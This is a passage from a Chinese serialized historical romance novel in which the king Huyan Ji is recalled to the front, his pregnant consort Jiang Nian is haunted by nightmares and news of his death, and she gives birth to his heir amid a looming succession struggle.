连月以来,大王不仅同军士们同吃住,还亲挂帅旗督战,使得士气更锐,终于攻占下宣州十三座城池,军将们也可趁此好好地养精蓄锐。 昆善进帐后行了军礼,躬身道:“大王不可劳心太过,当注意贵体,还请王移驾城中府邸宴息。” 呼延吉叫他免礼,问了些军中事务,又道:“宣州这边你留下看守,也只有你叫我放心,待我回王庭,再遣派他人来接替。” 昆善听这话音,问了一句:“大王准备回京都了?” 呼延吉点了点头。 “臣定不负大王之托,誓死守好宣州十三城。”对武将来说,能得王命守城,是无上的殊荣,不光要君王信任还需足够的能力。 从前攻取定州时,大王也留他守城,如今更是说出“只有你叫我放心”这样的话语,叫昆善心中感念君王的信任。 呼延吉出了营帐,从丑奴手里接过辔绳,翻身上马,出了营寨,往就近的城镇飞马而去,那里有供他居住的府宅,他还一次未去过,想着回途前沐洗一番,这一身脏污连他自己也忍受不住。 进城后,已是日暮时分,秋日微凉的炎光下,这座本该为梁境的城池如今已被夷越占据,除了城防变成越军,同平时没什么两样。 呼延吉纵马于府邸前,府中下人慌得出来迎候。 丑奴将二人的马绳丢给看守的门子,随在呼延吉身后进了府宅。 下人们开始匆忙地张罗起衣食,丫鬟们备热水,灶屋烹煮饭食酒菜。 待隔间的沐屋备好热水,呼延吉挥退下人走了进去,卸去身上的轻甲,再退除里面的软衫,然后入到盛满热水的浴桶内。 人一坐进去,水浸满出来,淌出篷篷的热浪。 男人抻开劲实的双臂,架在桶沿上,心底计算着路程,从梁西出发,先抄近路,再上官道,从此处到夷越京都路上耗去两个月,再由京都转荣水湾。 还好,能赶上。 呼延吉从水里抬起手臂,掬起一捧水,照脸上浇去,再抹开。 待头身洗净后,从水里起身,用干巾将身上的水渍草草拭净,换上一身干净的绫白长衫,随意系上腰带,走到门前,推开门叫下人们进屋。 丫鬟们进来后,先是收拾沐屋,再把窗扇撑开通气。 “主子,可以摆饭了么?”丑奴问道。 呼延吉“嗯”了一声。 丫鬟们手执托盘,鱼贯而入,将饭菜摆好,只留下两个布让菜样的丫头,余者依次序退了出去。 呼延吉叫住丑奴,说道:“明日回程,准备一下。” 丑奴应下,出了屋室后着手准备回程的行当。 用罢晚饭,呼延吉早早歇下,然而,人是躺在榻上了,却无法入睡,战时还不觉得,这会儿闲静下来,脑子里全是江念的宜嗔宜喜之态。 更让他激动不已的是他要做父亲了!他一定给他们的孩子最好的,以弥补自己儿时亲情的欠缺。 她长得那样好看,自己也不差,生出来的孩子想来不会差到哪里去。 闲暇之时,他便思索孩子姓名一事,还在纸上勾勾画画写了许多,最后决定男孩就单名一个“拓”,意为开疆拓土,呼延拓。 若是女孩儿,他准备回去后叫江念择单字,她读的书多,起的名字一定更美。 呼延吉越想越睡不着,这个时候的孕肚应该很明显了,他没伴在她的身边总归是一件憾事。 不过他打下了梁西十三城,以后她和孩子不必再受非议,呼延吉就这么想到一茬是一茬,脑子里零碎地蹦出许多欣喜的事。 明日就能归家了…… 次日,呼延吉在丫鬟们的侍候下穿戴整齐,出了屋室。 “主子,车马已备好,其他的行当也一并打点停当。”丑奴说道。 “走罢。”呼延吉说着,人已往院外行去,丑奴紧随其后。 呼延吉没坐马车,径直走向另一边,翻身上马,正待扬鞭,就见前面飞驰而来一信报兵。 那信报兵滚鞍下马,从衣襟里掏出一封书札,急走到呼延吉的马前,单膝跪下,双手托承道:“前方急报!” 丑奴上前接过,转承到呼延吉手里。 接过书信,呼延吉通篇一看,面上看不出喜怒,可丑奴却有预感,今日只怕不能回程了。 呼延吉把书信一收,冷声道:“回营。” 三张篇幅的信报,细述前线情状,总结下来就是,梁室朝廷同东境恒王人马一齐压向西境。 丑奴应下,随即翻身上马,连同信报兵,三骑往几十里的城外飞马而去。 呼延吉一入营帐,片刻不耽误,召集手下众将升帐议事,可见形势之危急…… …… 珠珠端着一盘葡萄从院外行来,见了立于房门前的秋月,拾级而上,走到她的身边,从盘里拎了一串葡萄递给秋月:“姐姐,吃这个。” 秋月笑着接了,两人有一句无一句地说着话。 “阿姐还未醒么?”珠珠问道。 秋月将一粒葡萄放进嘴里,摇了摇头,声音里带了一丝担忧:“没醒呢,七个月的肚子,身子越发重了,最近又时常困倦,晚间睡不好,白日嗜睡,这几日又梦魇,我不敢离太远,就守在门外,有点动静能听到。” 珠珠将盘子交到秋月手里,放轻手脚走到窗下,踮脚朝半敞的窗隙往里看去,屋里昏黑着,桌上摆着一个托盘,托盘外有一个杯口朝上的茶盏,其他的皆是倒扣着。 再往里就是被风吹起的纱幔,隐隐可见帷后香睡的人影。 江念睡得迷迷糊糊,像是醒着,又像在梦里,这个时候有人摇她。 “主子?主子?” 好像是秋月的声音,可她醒不过来。 “念念阿姐?” 这个声音是珠珠的,耳边的声音一直未断,在这一声声的急呼中,江念终是睁开眼,懵怔着朝窗外看了一眼,天光大明。 “什么时候了?”江念撑起身子,问了一句。 却不见秋月和珠珠的回答,再去看她二人,就见她们满面带着欣喜,遂奇怪问道:“什么事,高兴成这样?” 秋月欢喜道:“刚才阿多图大人走来,说接到书信,大王正从京都那面行来,不一会儿就到了!” 江念呆了呆,怕是自己听错,颤着声儿问:“你再说一遍。” 秋月同珠珠互看一眼,都笑道:“阿多图大人说,收到了书信,大王从梁西回了,走得京都官道,往这边行来,掐算着时辰,一会儿就到了……” 话音落,江念一骨碌爬起,拖着云袖下了床榻,鞋也不及穿,赤脚踩在地砖上,就要去拉开房门。 “哎哟——我的主儿,人还没到呢,你先坐这儿,再怎么着也得梳洗一番不是?”秋月忙不迭地拿过鞋袜,扶她坐下,为其套上。 江念一听呼延吉往这边来,心里便什么都顾不上,怀个孕,把人变得呆傻不少。 秋月说的对,她得好好梳洗理妆,不能叫他回来见着一个不修边幅的傻姑。 “快,快,替我更衣。”江念说着。 此时珠珠打来一盆温水,秋月接过替江念盥洗,再换一盆清水,另拿过一条绢帕,浸湿,拭了拭江念的颈周,然后取过一件素净舒软的绢衣,为她穿衣系带。 待衣衫理毕,江念挺着肚,慢慢走到妆台前,坐下:“只把发辫编织一下。” 秋月应下,不一会儿替江念编织了一个麻花,扭起绾在脑后,用玉簪子固住。 江念往镜中照了照,一手抚上脸,问向秋月:“是不是比从前丑了?” “哪里丑了,还是顶好看的。”秋月笑道。 江念抚上隆起的肚子,又抬眼看向镜中的女人,只见镜中人嘴角噙着笑,丰润的脸颊漾着温软之态。 于是起身,慢慢走出屋室,在院中来回踱步。 “珠珠,你去前面看一看。” 珠珠应下,忙不迭地去了前面。 秋月从旁劝道:“主子别急,已在回来的途中,用不了多少时候。”说着小心地扶江念坐到藤椅上。 江念哪里听得进去,眼睛恨不得望穿庭院的花墙。 “珠珠怎么还没回?” 正说着,远远跑来一个人影,等近前看清了,是去前面探看的珠珠。 “念念阿姐……”珠珠咽了口唾沫,继续道:“也是巧,我才出侧门,先前送信的小厮撒丫子跑来,他告诉我,大王已到城门口了,正同阿多图大人说着什么,叫他先来回话。” 江念一手捺在胸口,心越跳越快,已经到城门口了,呼延吉回来了…… 第207章 我身上脏,不碰你 珠珠从院外跑来,说报信的小厮告诉她,呼延吉已到城门口,正同阿多图议话,把口信先带回,好叫她安心。 江念理了理耳边的碎发,又拂了拂衣袖,等着,等着…… 约一炷香的工夫,院外响起靴履飒踏之声,脚步声很急,江念慌得站起,迎到院门处,就见她朝暮牵挂之人正朝这边行来。 不上一年的时间,那张年轻的脸,更显英武,是个显著的男子了。江念托着肚子就要见礼,被呼延吉扶起。 “我还以为你会晚些回,不想早回了。” “先前应了你,要赶在你生产前回来,怎能食言。” 此时,院中的下人已退了出去,只他二人。 江念抬起手,抚上他的脸,轻轻地摩挲了一会儿,依依地说道:“去屋里罢?” 呼延吉点了点头,随在她的身侧,步入房内,关上房门。 她替他宽除外衣,又贴心地倒了一盏热茶递到他的手里:“是不是赶路太累了?” 呼延吉微笑道:“是有些累,一路上没怎么歇过。” “边境的战事如何了?”江念又问。 呼延吉怔了一下,并未立刻回答,而是转开话头,看向江念:“阿姐看上去胖了些。” “是胖了,你可是嫌了?”江念问道。 呼延吉笑着摇了摇头,拿下巴指了指,示意她坐到自己身前来。 江念这才缓缓坐下。 “肚子里的孩儿好不好?”呼延吉问道。 “好着呢,就是太调皮,不知是在蹬腿还是在伸胳膊,力气可大。”江念说着,去牵呼延吉的手,问他:“适才又动了一下,大王要不要摸一下?” 呼延吉不着痕迹地抽出手,说道:“我手凉,才回来,身上带着血气,不好污了他,不去碰你们。” 江念觉着他有些异样,说不出来什么原因,好像刻意同她隔着。 她无数次地幻想他回来的场景,是久别后温情的重逢,是他贪恋她身上的气息,是他轻抚着她的肚,她站着,他坐着,他的侧脸贴在她高高隆起的肚皮上,听着小家伙的心跳。 那些不曾发生过的画面,在她脑子里一遍遍地预演着,就像真实发生过一样,成了枯燥日子的调剂。 然而,这些画片中没有一幅是眼下的情状。 江念突然想起一事,问道:“这会儿才六个月,还得几个月,王是在这里陪着妾身还是……” 呼延吉站起身,眼睛落到江念挺起的肚子上,说道:“我回来看看你,就要走了。” “去哪里?回王庭么?”江念急声问道,他若是回王庭,叫她生出一种自己见不得光,被抛弃的感觉,虽然呼延吉不会这样待她,可孕期的女子,心思比平日重许多。 呼延吉看了一眼屋门,说道:“不回王庭,还得回梁西,那里战事未完,将士们等着我。” 回梁国西境?战事未平?这一连的话语叫江念四肢发凉,战事未平他怎么回来了,只是为了看她一眼便跋山涉水迢迢至此? 好像哪里不对,哪里不对呢? 江念再抬起头时,就见呼延吉往门外走去。 “吉儿?”江念心里越发慌乱,连喊出的声音都变了调。 然而,男人没有回头。 江念眼睛向地面看去,一点点睁大,在呼延吉走过的地砖上,是一串血沥沥的足印子,她的目光一点点往前探去,呼延吉每沉沉地走一步,就踏出一个血印。 血足印边还有血点子,它们从呼延吉宽大的衣袖里滴落,他就在她震颤的双目中变得浑身是血…… “吉儿!” 江念扯着嗓子大喊一声,声调里充满惊惶和骇然,也就是这一声叫喊,惊动了门前正在叙话的秋月和珠珠,两人赶紧推门而入,秋月把手里的果盘放到桌上,碎步到床榻边。 就见江念双目紧闭,额上布满晶汗,嘴里不知嗫嚅着什么。 “主子?”秋月试着轻唤一声,见叫不醒,又上手轻轻地拍了拍,“主子,醒一醒。” 这是又梦魇了,最近老是这样。 江念睁开眼,面色煞白,胸口剧烈起伏着,一呼一吸间鼻翼翕动,随即一双眼珠僵涩地移向一边,看向坐在榻沿上的秋月。 “大王呢?回了没有?” 这话问得太过突然,秋月有些接不上,再看榻上的江念,就见她侧着头,一直死死地盯着房门的方向,不知在看什么。 “珠珠,倒一杯水来。”秋月说道。 珠珠赶紧走到桌边,倒了茶水,折回榻边,此时秋月已把江念扶着靠坐于床头,又在她的腰后垫上褥子。 “念念阿姐,喝……”珠珠双手奉上杯盏。 此时江念杂乱惊错的心绪缓缓回拢,从珠珠手里接过杯盏,放到唇下啜了一口,茶水凉凉的入到口里。 珠珠又把桌上的果盘端了来:“念念阿姐,吃葡萄,酸的。” 江念看了一眼珠珠,嘴角牵出一抹笑,抬手摘了一粒放到嘴里。 “适才又梦魇了。”秋月担忧道,要不要请个师傅来看看。 “无事,应是我心思太重,日有所思,夜有所梦。”江念看了眼窗外,“扶我起身罢,一会儿你叫阿多图来一趟。” 秋月应下,伺候江念梳洗,梳洗毕,又叫院子里的人去灶屋传饭。 阿多图来时,屋子里的桌面已清净了,走到江念跟前先行一礼。 “殿下唤臣来有何吩咐?” 江念说道:“近日我总心神不宁,我写一封书信,劳阿多图大人替我递出。” “差人送到梁西?”阿多图问道。 江念点头道:“是,把书信送到大王手里,顺带再捎一封回信来。”说罢又追问了一句,“不知几时能到?” “有换乘的驿站,最快也得一两个月,慢的话难说。” 因忧呼延吉边境事务繁重,所以江念一直不曾去信与他,但这会儿她顾不得许多,就算见不到人,听不到声音,也要见一见他的亲笔书信,才能彻底安心。 阿多图先行退下,江念走到案后,手搦笔管想着心底要说的话,书写下: 夫君亲启: 近日胎动频繁,宫医虽言康健,然妾每夜惊悸,总梦见边关血色,心中甚为不安,大王亲征万里,然王乃万民命脉,伏惟圣躬珍重,腹中麟儿已足六月,性灵跳脱,常在肚里踢腾不休,急着要来人世看个新鲜。 妾盼战事早日平息,大王平安归来。 寥寥数句,江念将书信摊开看了看,待字迹干涸后整整齐齐折进封套中,唤来阿多图,亲自交到他手里,又是一番叮嘱。 阿多图领了书信径直去了。 接下来的时日,江念大部分心神都在等着边关的回信,就这么一日又一日地过了两个多月,一直等不到回信。 江念的身形从外看去就像衣衫下塞了个膨硕的瓜,因她骨骼纤细,身上长了肉也只显得丰盈却并不臃肿,正因如此,反把那肚皮显得更大了。 连接生妇人方嫂见了心里也打鼓,暗忖着,这位夫人生产时要吃大苦头哩! 平日饮食已是克制,那肚子挂在女人的身上很不相称,显然是胎儿体格过大,料想是个小子。 “梁妃殿下腹象隆盛,胎气丰盈,臣恐母体劳损,余日需缓补疏滞。”申宫医照往常给江念把过脉,又交代秋月再请三两个稳婆来。 接下来的时日,江念的日常饮食较之前更加精简了,每天就是再懒怠动弹,早晚也要去府宅后的园子走一走。 有孕女子,大凡孕初是饮食不济,情绪波动大,过了三四个月,稍稍好转,然,月份再大,又是一阵苦熬,挺着大肚夜里睡觉翻身难,侧身睡久了胯骨痛,可谓是辗转难眠,只想早产子。 窗前过马,时间一晃而过,临近生产的时日,江念仍没等到呼延吉的回信。 阿多图说过,若是快则一两个月可达,如今已过去三个多月。 因府中女主人临近产子,宅中上上下下提起十二分心神伺候着,昼夜有人值守,哪怕一点风吹草动就有人迅速回应。 这日,傍晚时分,霞光烧红了整个天际,艳绝如锦,游云焕彩,整个京都乃至其周边都被这一祥瑞之象震住。 有那在楼宇喝酒的客人,纷纷探出身望着天际的瑞象,行于市井坊间的行人则驻足抬头,惊异地仰望着天,满脸不可置信。 人们开始纷纷议论。 “此乃祥瑞之象啊!” “此等祥瑞之兴不知可有什么说法。” “你们看这红光,定是有极贵之人降世。” 不止民间的酒楼、茶坊,市井街巷,连京都城中的高门显权亦被这异景吸引得移不开眼,个个心中纳罕不已。 这是头一日,已引起不小的轰动。 让人吃惊的是,第二日的傍晚,同前一日一样,那奇异的天光再次出现,而且人们发现,这瑞光的起始处并不在京都,而是从远处铺展来,穹窿茫茫,人们难以辨别其方位。 直到第三日,瑞光再次大放,不止京都城的上姓世家们,连王庭中的圣太后亦被惊动,甚至有百姓当街跪下,向天伏拜连连…… 第208章 产子 也就是祥瑞之兴出现的第三日。 傍晚时分,灶房上了清淡精细的菜肴。 秋月侍在一边准备布让,江念摆了摆手:“我自己来。” 珠珠乖巧地盛了一碗汤奉到江念手边放下,然后再坐回自己的位置,等着江念提筷。 江念端起汤碗轻抿了两口,向珠珠柔声道:“自在吃,不必管我。”说着拈了一块细嫩的鱼肉放到她的碗里。 珠珠这才开始用饭。 江念慢慢舀着碗中的汤汁,喝了几口,这时,一阵急促的步子从院中响了过来,骤然停下,应是被立于院中的阿多图拦下了。 再就是低语,听不清明。 过了一会儿,阿多图走了进来,不待他开口,江念已问出了口:“是不是送信的人回了?”说着,两眼切盼地等着阿多图回话,却发现他的面色很不对,十分难看。 “怎么了?” 阿多图双手托举一封书信,秋月见了上前接过,再转呈到江念手里。 江念以为是回信,拿到手里一看,又急急地把封套拆开,展开信纸,草草看了一眼,蹙眉问道:“怎么回事?” 这哪是什么回信,就是她几个月前送出的那封书信。 她盼了几个月的回信,结果原封不动地回来,合着根本没有送出去,就是脾气再好的人也有些压不住火。 江念等不到回话,抬眼看去,就见阿多图面色凝重,一股不好的感觉从她心底生出。 “出什么事了,快说,不要瞒我。” 阿多图转身招手,让那名信使进屋:“把你看到的讲出来。” 信使进屋后,伏跪于地,先磕了三个头,说道:“小的去了梁西,心想着,闲杂人等不可入营寨,小的进不得那里,就寻到了城中大王宴歇的府邸,想着把书信交出去,再等一封回书,谁知……” “谁知什么,你只管道来。”江念声音冷得可怕,冷得脸侧的绒毛立起。 信使开始泣诉:“小的寻到城中大王住的府宅,府宅的人说……” 江念急问道:“说什么?!” “说……大王战殁了。” 一语毕,屋室静得诡异,热浪把院中的树叶吹得沙沙翻动。 江念眼神开始变直,盯望着门首,满院的霞光,把整个院子都笼在红光里,那红光映到屋里,照亮女人滚落的泪珠,像是血泪。 “说细一些。”江念的声音没有太大起伏,好像脑子已经开始封闭,只有嘴巴自觉翕动。 “那府宅外挂了白色灯笼,府内又系了白幡和帷幔……”信使拭泪道,“府里的管事说已遣信报兵往京都报丧了。” “怎么死的?”一个字一个字冷冷地往外蹦,齿缝里都是冷气,说得很是艰难。 阿多图看向江念,诧异于她的冷持,而这份过于平静的反应反叫人担忧。 “说是大梁朝廷和梁前太子联手率兵驱入梁西境,前狼后虎环伺之下,大王命丧峡道,全军……覆灭……” 泪痕干在脸上,江念轻轻地呼吸,不敢太用力,肚子开始发硬,硬得像石头,身上的血凝固住了似的。 眼前暗了下来,所有的物景都暗下来,天旋地转,听见耳边纷乱的惊呼声,再然后她的身下传来痛感,疼得要晕过去。 一双有力的臂膀将她抱到床榻上,是阿多图,她不禁想,如果呼延吉把阿多图留在身边,是不是就不会丧命了。 然后又想,如果没有她,他不必这样冒进攻入大梁,如此一来,他是不是就不会丧命了? 还有啊,若是没这个孩子,他更不会在一切未定之前出兵亲征,他向来是个谨慎之人,远征前定会好好筹谋,可他这次走得很是仓促。 一切的一切都是为了她和孩子。 身下传来撕心裂肺的疼痛,让她两眼浸满泪水,止不住地流,终是可以好好地哭一场,因为实在太疼了。 接生的产婆们开始紧密张罗,秋月并几个丫鬟从旁打下手,申宫医立得稍远一些,随时应候。 阿多图守在门外,听着里面的动静,双目沉沉,持剑的手骨节因为太过用力而发白。 大王命丧梁西,这个时候王庭应当已接到信报,在外人看来,君王无后嗣,那么就会生出许多动荡。 大王在时,那些人不敢犯上,就算有僭越之心,也不得不老老实实地蜷缩着。 然而大王一旦不在了,无人可镇压这些蠢蠢欲动的逆徒,尤其是朵氏一族,势必会伺机出手,抢夺夷越王权,届时,只怕夷越王姓不再是呼延氏,而是朵氏。 这个孩子,他得以命护之,这是大王唯一的血脉。 “夫人,你再使使力!”屋里传出一个婆子的声音。 “不行,晕过去了。”又一个婆子道。 “掐人中,快!” “我就说要吃大苦头,夫人,为着这孩子你得睁睁眼……”这是方嫂的声音。 接着是宫医略显紧张的声音:“拿参汤!” 阿多图捏了捏手心,手心满是汗渍。 这时,屋里又传出婆子的声音:“灌不进去,这可如何是好?” 阿多图眉头越锁越紧,房门突然开了一条缝,一个人影闪出,正是大丫鬟秋月。 “如何了?”阿多图问道。 秋月摇了摇头,不待多言,去了灶屋,手上端了一个罐子返回,正要进门时,被阿多图拦下。 “阿多图大人,主子等着参汤,耽误不得,婢子这会儿没工夫闲话。” 阿多图看了一眼那罐子,说道:“她人已是神思游离,再多的参汤只怕也喂不进去,我这有个法子,你试一试。” 秋月听他说了,点了点头,如今只有死马当活马医。 秋月进到屋里,快步到榻边,拉着江念冰凉的手,那榻上之人面如纸白,气若游丝,湿发黏腻在脸侧,眼睛半开半阖,眼缝中一捻捻将灭的光。 秋月心里一疼,先给她灌了一碗参汤,黄褐的汤汁从嘴边流出,把胸前的衣襟打湿,一大半都漏了出来。 申宫医叫开接生的产婆,拿出银针,用火燎过,然后掀起衾被一角,刺入足小趾外侧的足窍阴穴。 趁着这个空当,秋月想起刚才阿多图嘱咐的法子,俯身到江念耳边,轻声道:“主子,大王回了……” 一语毕,江念仍没有反应,面上的生气正一点一点的流逝,秋月见了,暗道不好,这是心灯湮灭,没了求生意志。 秋月又道:“大王在门外正等着看你和小主子,他刚才急得就要进来看你哩!”说着,紧紧地抓着江念的手,声音开始哽咽:“大王说仗打赢了,回来带你和小主子回王庭,主子,你醒醒……” 不知是她的话起了作用,还是宫医的针灸起的作用,终于,秋月发现江念的手有了一点点反应,于是激动地往她脸上看去,正在一点点回转气血。 江念睁开双眼,骤然袭来的剧痛将她拉回,痛感一阵接一阵,不叫人喘息,如潮水一般,退去时留一口气,涌来时撕扯血肉。 接生婆们见女主人醒过来,全都吁出一口气,纷纷上前继续接生,嘴上手上不停。 “夫人,向下使劲儿。” “攒着力气,疼一阵就过去了!” “再使劲儿,看见头了……” 江念压着声气儿,铆足气力,就算拼了这条命,也要把这孩子生下来,这是他留存于世的血脉,她必须咬牙挺过去,这个即将到来的孩子成了她活下去的希望。 阿多图听到屋内的动静,揪紧的心稍稍一松,终于,一道极为响亮的啼哭响彻,接着是屋内人喜气的贺语。 “恭喜夫人,是个带把的……” “哭声洪亮,有财有福的命!” 接生的几位妇人纷纷道贺,想讨些赏钱,可看着榻上美妇人似悲似喜的面色又有些不解。 “赏。”江念嘘声道。 秋月拿出赏钱,一一分付,妇人们得了赏,欢喜得要不得,嘴里不住地说着喜庆话儿。 方嫂用襁褓将孩子裹好,抱到榻边,放到江念身边:“夫人,你看看。” 江念侧过头,看着那孩子,好小一人儿,红皱皱的小脸儿,湿鬈鬈的浅发,两眼眯成一条缝,哼哼着。 她笑中带泪地看着,满眼都是爱怜,待奶娘将孩子抱下去后,江念叫来秋月。 “扶我起来。” “主子这个时候该好好躺着,怎能起身?” 江念弱着声气道:“不要多话,扶我起身,再拿一套纸笔来。” 秋月只得把江念扶起,让她靠坐于床头,再从桌案上拿过纸笔,又架了一张小桌于榻上。 江念铺展纸页,一手按住页角,一手搦着笔管,快速书写。 然后将信笺吹了吹,待干后放入封套内,对秋月说道:“泥印上,寄出。” 秋月接过,没有多问,应下去了。 接下来的几日,秋月遣散了府里的几个接生婆,只留方嫂在府里应候,乳母也有,早早就着人寻了。 江念就这么躺在床上调养,每日申宫医定时来把脉,上至饮食,下至坐卧俱一一过问。 灶房上又有掌膳厨子,再加上秋月等丫鬟的看顾,江念的身体在众人的悉心照料下慢慢恢复。 “孩子呢?”江念喝下小半碗红糖水问道。 秋月端着碗,说道:“在隔壁的房里,要抱来么?” 如今主子眼里只有小王子,一会儿看不见就要问,问过后又怔怔地发呆。 “可是睡了?”江念又问。 “方嫂子哄睡了。” “行了,你去罢,我有些累了,躺会儿。” 秋月应声,走到桌边,将碗盘收起退了出去,才一出门就见院子里侍立的阿多图,只见他眉宇严肃,上前向他行了一礼,正要往院外行去,却被他叫住。 不知他要说什么…… 第209章 恨海难填 秋月被阿多图叫住。 “阿多图大人有何吩咐?”秋月问道。 阿多图颔首道:“殿下还需调养多少时日?” 秋月呆了呆,会过意来,说道:“殿下将将产子不上十日,少说还得悉心照料十来日方能下地。” 阿多图眉间的川字更深了,当下说道:“不能耽误下去,需得立马回王庭。” “可这妇人生子如同在鬼门关走了一遭,怎能说下地就下地,这会儿最是紧要,连风都吹不得。”在秋月看来,没什么比江念的身子更重要,又听她说道,“不说梁妃殿下,就是小王子也出不了门,行不得远路。” 阿多图往屋室看了一眼,说道:“烦通传一声,我要见梁妃殿下。” 秋月只好点头应下:“这会儿才睡下,待醒来罢。” 阿多图“嗯”了一声。 江念仍是从梦中惊醒的,梦里,她身处一片狭窄的山道间,脚下是路面泥泞。 山顶之上彤云密布,像是翻涌的海潮,要吞灭下界的所有。 这个时候天空开始落雨,雨势越来越猛,倾砸下来,起了许多白烟,下了好一时,雨脚丝毫没有减慢,反而火炽起来。 江念就这么站在雨里,明明头身淋湿了,可她不觉得自己湿着,这种似真似假的况景让她好似知晓一点什么,仍浸在梦中不醒。 再一会儿,密密的雨障中传来声响,轰隆隆震得地面晃荡。 一群身着甲胄的夷越军兵从山道拐角处显现,他们纵马缓行,身上或多或少地带了伤,再走近一些,江念看清了旌旗下的那人。 一头鬈曲的长发因为湿了水,颜色显得比往日更深,松散地侧在身前,额前垂下一绺发。 他抬手抹开脸上的水渍,随着颠簸,左耳的银饰缓缓荡着。 江念想也不想地向这群夷越军兵冲去,边跑边在雨幕中扯开嗓子叫喊:“不能走这里——” “停下!” “不要走山道——” 一声接一声,可无论她怎么跑,始终无法接近这群人,她眼睁睁地看着他们行到山夹道,山间泥石开始滚落,将一切掩埋,没留下半点痕迹。 然后,她从梦中恸哭醒来,脸上湿凉凉一片,慢慢抬手到颈间,握着那枚狼牙,放到唇下感受它的凉意,别过脸,埋在枕间无声地呜咽起来。 “主子,醒了么?”秋月听见屋里的响动,叩门询问。 江念将手探到枕下,摸索出一条绢帕,把脸上的泪拭干,深深吁出一口气,调整好,说道:“进来。” 秋月进来后,走到榻边侧身坐下,看了江念一眼,劝解道:“可不能再这样哭了,仔细眼睛。”任谁看了那双浮肿的眼都会心疼。 “孩子呢,抱来我看看。”江念想要从床上坐起,秋月忙从旁搀扶。 秋月朝外吩咐了一声,门外的丫鬟听见了,到隔壁叫方嫂带孩子过来,还有两个乳娘并两个照看的阿姆一齐跟了过来。 行到门前时,丫鬟只让抱孩子的方嫂和一个乳娘进入屋中。 江念从方嫂手里接过孩子,小心地搂在怀里,生怕自己太用力把他弄醒,然后拿脸在孩子的襁褓上蹭了蹭,又贴了贴他的小脸。 “吃睡如何?” 一旁的乳娘说道:“小阿郎很乖,不吵也不闹,吃得足,夫人尽可放心。” 这个时候的婴孩除去拉撒,就是吃了睡,睡了吃,再无别的。 那孩子似是知道在母亲的怀里,浓浓香睡中睁了睁眼,嗫嚅着小嘴儿,然后扯着嘴儿,眯起眼笑,笑着笑着又闭上眼睛,静静地睡过去。 秋月在一边看了,放轻声音,欣喜道:“笑了呢?” 见到儿子纯粹的笑脸,江念寂灭的心这才有了一点点的回温,她垂着颈,看着怀里的孩子,似是想从这张小脸上找出一点他的影子,不过还是太小了,看不出什么。 一抬眼,就见秋月立在榻边,似是要说什么,于是叫乳娘和方嫂抱着孩子退下。 待人都退下后,秋月说道:“阿多图大人请见。” 江念心道,这个时候阿多图求见多半为着王庭那边,君王遇难的消息十多天前就到了王庭,料想京都的情状一定非常不好。 “去请阿多图大人来。” 秋月应诺去了。 阿多图随着秋月走到房门边,立住,等通传。 秋月进到屋里,让丫鬟们移过帷屏立于榻前,然后再让丫鬟们退下,这才出来,请阿多图入内。 阿多图进到屋内,隔着帷屏行了一礼。 “大人可是为着回京都一事?”江念问道。 “回梁妃的话,正是,如今王位空悬,王权后继无人,朵家虎视眈眈,其族私兵暗聚,朵氏一族定会伺机而动,还请殿下携小王子回京都,以绝奸佞觊觎之心。” 说罢,没有听到答话,安静了片刻后,女人轻幽的声音从帷幕那边传来。 “大人先退下,容我想一想。” 江念并没有立即给出回答。 “殿下,此事不可再延捱,多耽误一刻,社稷危如累卵。”阿多图转念一想,莫非梁妃担心路途劳远,小王子幼弱,恐伤其贵体? 江念沉吟片刻,再次启口:“不瞒大人,我并不信大人。” 阿多图一怔,想要立表忠心,江念却不给他说话的机会,继续道:“并非不信大人的忠诚,我知大人对大王的拳拳之心,自然也会为了我母子二人肝脑涂地。” “那殿下的意思是……” “我说的不信是不确定大人能否护我母子周全,京都城有什么,大人比我清楚,他父亲在,尚可护我们周全,现今他父亲去了,我自问没有那样大的能力护住我儿,大人再问一问自己,可以护得住小王子么?” 江念哽了哽喉,又道:“王只这一点血脉,难道叫我亲手把他推进漩涡中?” 阿多图说不出话来,他只站在朝臣的位置想问题,并未真正设身处地地替梁妃以及小王子的安危着想。 现下听梁妃这样一说,竟也踟蹰起来。 “臣,不能确保。” 江念侧过头,迎着光看向跪于地面的阿多图:“大人先退下,容我想一想。” 阿多图心中忖度,梁妃并未把话说绝,他也不能相逼太紧,且刚才的话不无道理,殿下真若携小王子回京都,他要如何护他母子二人。 再一深想,别说护了他母子二人,彼时只怕连进王庭都难,朵家势必已派重兵把守王庭大门,不准任何人出入,这不是没有可能。 阿多图退出去后,江念靠坐于床头,眼睛直直地看着衾被,如今的她完全为着孩子强撑,她死不死无所谓,甚至情愿赴黄泉陪他。 可她走了,孩子怎么办?又是这么个身份,比普通人家的小儿还不如,连一方遮风挡雨的瓦片也无,都是想害他的人,叫她怎么忍心撒手离开,若她一意追随他而去,到了那边,他也会怨自己罢? 江念揉了揉额穴,再次躺下。 仍是那个狭窄的山道,两边山体已塌,入眼处是凌乱的断木和碎裂的山石。 江念深一脚浅一脚地走进堆土乱石里,惊惶地找寻,双手不停地刨着废墟,一直将指头扒得鲜血淋漓。 “在哪里……你在哪里……” “你个混账玩意儿,不是说在我生产前回来么?人呢?为什么不回来?为什么还不回来……” 江念口里一面骂着,双手一面扒着泥石,指头的血和着泥,直到听见身后一声叹息。 “阿姐……” 江念身子一颤,僵着脖,缓缓地回过头,循声看去,他就立在高堆的泥石之上,同那日一样,满身是血,英俊的面上交错着一道道血口子。 江念颓倒在地,哇得哭了出来,如同市井妇人一般,失了所有礼仪,一面哭一面骂。 “你怎么狠心丢下我?” “早知有此一劫,说什么都不嫁你。” “我还说情姑守寡,结果我自己变成了寡妇,如那槁木死灰一般。” 女人边哭边拍着地,一副恨海难填的情状,全然不顾自己血烂的指。 “阿姐,我不在,你照顾好我们的孩儿。”男人说道。 江念两眼一瞪,拿袖子抹开眼,忿然道:“怎么照顾?!你说得轻巧,我一妇人,暗处那么些豺狼盯着,你叫我拿什么护他?” 就像一个巨大的漩涡,把她往中心吸,任她怎样挣扎,都无济于事,不禁让她想起上次温泉池子里的那一幕,逃不开,惊恐间,她叫了一声“吉儿,救我!” 可如今呢,她再叫一声“吉儿,救我……”他不会再出现了,也无人回应她。 立于废墟堆中的男子再次开口:“答应我,保护好自己和孩子,再坚强一点,我一直记得阿姐儿时说的一句话。” “什么话儿?” “危难时,人可以被摧毁,却不可以被打败。” 江念心道,我还说过这话? 她见他似要消失,赶紧追问了一句:“你的崽子,叫什么名儿?” “呼延拓。” 江念听不太清,重复了一遍:“呼延朔?” 再抬头去看,山堆上哪里还有人…… 第210章 逆贼生乱 夷越京都城…… 